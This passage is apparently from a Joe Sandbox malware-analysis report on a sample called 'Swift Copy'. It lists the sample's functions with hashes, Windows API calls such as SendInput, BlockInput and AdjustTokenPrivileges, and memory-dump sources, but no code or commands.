Opcode ID: 28b786f1c6a760b04be9fd9ed82f9ad2d5a7ba88e93fd0b89594763d8ea08185
Instruction ID: db86b83a2363d92ec6c0b6b090e1b744ec4c7990f5dad6df391d00afaaed0dd0
Opcode Fuzzy Hash: 28b786f1c6a760b04be9fd9ed82f9ad2d5a7ba88e93fd0b89594763d8ea08185
Instruction Fuzzy Hash: 04D0C9B480111DEECB94DB90DC88DD9F37CBB04305F200255F146A2040D73095898F20

Function 00D9CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: 4e534243624c4d7068f91b65c4ebaab6937bf1eea969b3979a6184ccd1600f52
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 99021D71E112199FDF14CFA9C8806ADFBF1EF48314F298169E819E7384D731AA41CBA4

Function 00D7CAF0 Relevance: 3.2, Strings: 2, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00DC0C40
p#, xrefs: 00D7CF7F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.$p#
API String ID: 0-1086706999
Opcode ID: 118a9613368f8156ebe5f40485d64d419898d29dcc9e92234c1f9325708fa530
Instruction ID: d554c80a44267ec75086fb8986d51eac49912e7642cc9faa1765ba6afc364c4f
Opcode Fuzzy Hash: 118a9613368f8156ebe5f40485d64d419898d29dcc9e92234c1f9325708fa530
Instruction Fuzzy Hash: A4324670910219DFDF14DF94C981BEDBBB5EF05304F28905DE84AAB292E735AA46CB70

Function 00DE68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00DE6918
FindClose.KERNEL32(00000000), ref: 00DE6961

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: abeb2f01ab402f9825d8a7577dd61e68fa98c1797364951cfd124af96f086104
Instruction ID: f1de582bfcc7e2f913c13520d754c6ccbf7fcbe9515f747357063718bd0e4186
Opcode Fuzzy Hash: abeb2f01ab402f9825d8a7577dd61e68fa98c1797364951cfd124af96f086104
Instruction Fuzzy Hash: C51190316146409FC710DF6AD884A1ABBE5FF85328F18C69DE4698F6A2D730EC45CBA1

Function 00DE37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00DF4891,?,?,00000035,?), ref: 00DE37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00DF4891,?,?,00000035,?), ref: 00DE37F4

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 559bfb5aa758b54753bb43618ce7862cfc025697623d7c4c54ade067fe669026
Instruction ID: 0edefd76fafe4bed0305437d30742cda62cd971dd24075474fe52021c2e75d8c
Opcode Fuzzy Hash: 559bfb5aa758b54753bb43618ce7862cfc025697623d7c4c54ade067fe669026
Instruction Fuzzy Hash: 0FF0E5B16052286AEB2027A78C4DFEB7AAEEFC4761F000265F509E3291D9609948C7B0

Function 00DDB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00DDB25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00DDB270

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: e91a643179127577aa8c5a536bde3c42f98a139398517c826399387e7661dddd
Instruction ID: 96a823cb0991fd309460c14064f4b38da210a44a244286576024d083f280afc3
Opcode Fuzzy Hash: e91a643179127577aa8c5a536bde3c42f98a139398517c826399387e7661dddd
Instruction Fuzzy Hash: 69F01D7580424DAFDB059FA1C805BAE7FB4FF08319F14800AF955A5191C379C6559FA4

Function 00DD10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00DD11FC), ref: 00DD10D4
CloseHandle.KERNEL32(?,?,00DD11FC), ref: 00DD10E9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: fa637afec537e3fd5979bc1417d35706287476b9fb6808995c4097a767fd6fe7
Instruction ID: 0fbb2c705fa46957dcce23864f8f43d16586543ffa24a737cd469e87bbb0730c
Opcode Fuzzy Hash: fa637afec537e3fd5979bc1417d35706287476b9fb6808995c4097a767fd6fe7
Instruction Fuzzy Hash: D5E0BF72014611FEE7252B51FC05E7777A9EB04311B24892EF5A5905B1DB626CE0DB60

Function 00DA676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DA6766,?,?,00000008,?,?,00DAFEFE,00000000), ref: 00DA6998

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 74e4b672e2df45a8de248d6d7e85e94e8e1c4fe8c0b8f61d92eb076b70dc3f11
Instruction ID: 52b66fe9be60e234bf1cbb76c70e2f021c54f37ad46933e7aa4a7d8118a7e087
Opcode Fuzzy Hash: 74e4b672e2df45a8de248d6d7e85e94e8e1c4fe8c0b8f61d92eb076b70dc3f11
Instruction Fuzzy Hash: A4B11835610608DFD715CF28C48AB657BA0FF46364F2D8658E89ACF2E2C739E991CB50

Function 00D8B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 00DC851F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e9ae90f4be1abe80c7f906986c7d2212eee355f8f3234b6940904a31f1c9ac22
Instruction ID: 3b03138f874bb8f8d768349b0c1771080a0988188947bdff6048a5dd16f1f40c
Opcode Fuzzy Hash: e9ae90f4be1abe80c7f906986c7d2212eee355f8f3234b6940904a31f1c9ac22
Instruction Fuzzy Hash: 9E1230719002299FDB14DF58C881BEEB7B5FF48710F1481AAE849EB255DB349A81DFA0

Function 00DEEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00DEEABD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 99612e6bb8e683eea19e19e4bea44e2c1352b8826136108e9185db80c326e240
Instruction ID: 67c3157f258b1b80a09b76ac6a67b2d7f66bda428fa2641fb9d43a3863d31987
Opcode Fuzzy Hash: 99612e6bb8e683eea19e19e4bea44e2c1352b8826136108e9185db80c326e240
Instruction Fuzzy Hash: B0E01A312102049FC710EF6AD804E9AF7E9EF98764F00842AFC49D7291EB71E8408BB0

Function 00D909D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00D903EE), ref: 00D909DA

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 54ae55a1c6cbb806820630f8b21a404286d4bff9385bb8f128f51d4e58527dfd
Instruction ID: 585ea51ac33ea08f0e4f2e61d5815cfb19836345bc084c61791ce55fb98e6b92
Opcode Fuzzy Hash: 54ae55a1c6cbb806820630f8b21a404286d4bff9385bb8f128f51d4e58527dfd
Instruction Fuzzy Hash:

Function 00D9781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00D9798B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 3cc9897820b05c9dbf03138267b1a58f2881726391cadb7b976dbd90dffb2d89
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 6451787173C7056BDF388568885E7FE6789DB12344F1C060AD8C6DB282C615DE02E776

Function 00DE2046 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0&, xrefs: 00DE2053

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: 0&
API String ID: 0-2523485602
Opcode ID: adf816de322d349c8a68df28eb1732db6c04538df858b2dce16ce71dbd71e6e4
Instruction ID: 8c6d9758645ec26dc97a436b17703e0f412856ad70c8a1408e5ddaf1b018c5c1
Opcode Fuzzy Hash: adf816de322d349c8a68df28eb1732db6c04538df858b2dce16ce71dbd71e6e4
Instruction Fuzzy Hash: C521BB327205158BD728CF7AC81367E73E9A754310F59866EE4A7D37D0DE35A904C790

Function 00DA6DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9eaefc9c44cd7239a8021744c2e8cbf9e4d682100aeb46f13e037c191f55645
Instruction ID: 31382ca5f7146735eaf0b8807b8876996aebb03355c5e4e73142bae111ce9fe5
Opcode Fuzzy Hash: f9eaefc9c44cd7239a8021744c2e8cbf9e4d682100aeb46f13e037c191f55645
Instruction Fuzzy Hash: 32322632D29F014DD7239A39DC22336A689AFB73C5F15D73BF81AB59A5EB29C4834100

Function 00D8CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51227a0baec85f2de733fc1136e1d4ad67e48fea53dfc383eab77a091dd51dd6
Instruction ID: ae2d65ddaf484d134daa6faeeb6e1ea8ac4d07fbb6fa3fdef1a29004cbb8fada
Opcode Fuzzy Hash: 51227a0baec85f2de733fc1136e1d4ad67e48fea53dfc383eab77a091dd51dd6
Instruction Fuzzy Hash: DE32F331A20106DBCF28DA69C494F7D7BA1EB85300F2CA56ED68EDB291D630DD81DB71

Function 00D77920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c69150f2d6582181f97f50d548387596615e9c3b9cfad742ccf923c5fc0a4e44
Instruction ID: a0061146567d77a81509617e8b0e83254c39c11db579d5eeeb2258ddd809b42c
Opcode Fuzzy Hash: c69150f2d6582181f97f50d548387596615e9c3b9cfad742ccf923c5fc0a4e44
Instruction Fuzzy Hash: 43228C70A04609DFDF14DF68D881AEEB7F5FF48300F148529E85AA7295EB36A914CB70

Function 00D791C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48805fdd8feea9bea3f1d5d798708036c234c6ebb49f548eb7b8ca0caba5b4c2
Instruction ID: 6c75b722aa104448189c91545a4b671bb677adf04544010bc7d86d5f3d731155
Opcode Fuzzy Hash: 48805fdd8feea9bea3f1d5d798708036c234c6ebb49f548eb7b8ca0caba5b4c2
Instruction Fuzzy Hash: 9C02A7B1A00209EFDF05DF64D881AEDBBB5FF44300F548169E85A9B291E731EE14CBA5

Function 00D91C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 523720df83cacd5d9d09950760c1644f8d96c0c465471a39caffe4a79f28c395
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: D991467A6090A34ADF2D463E857407EFFE15A923A131E079DE4F2CA1C5FE24D958D630

Function 00D919B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

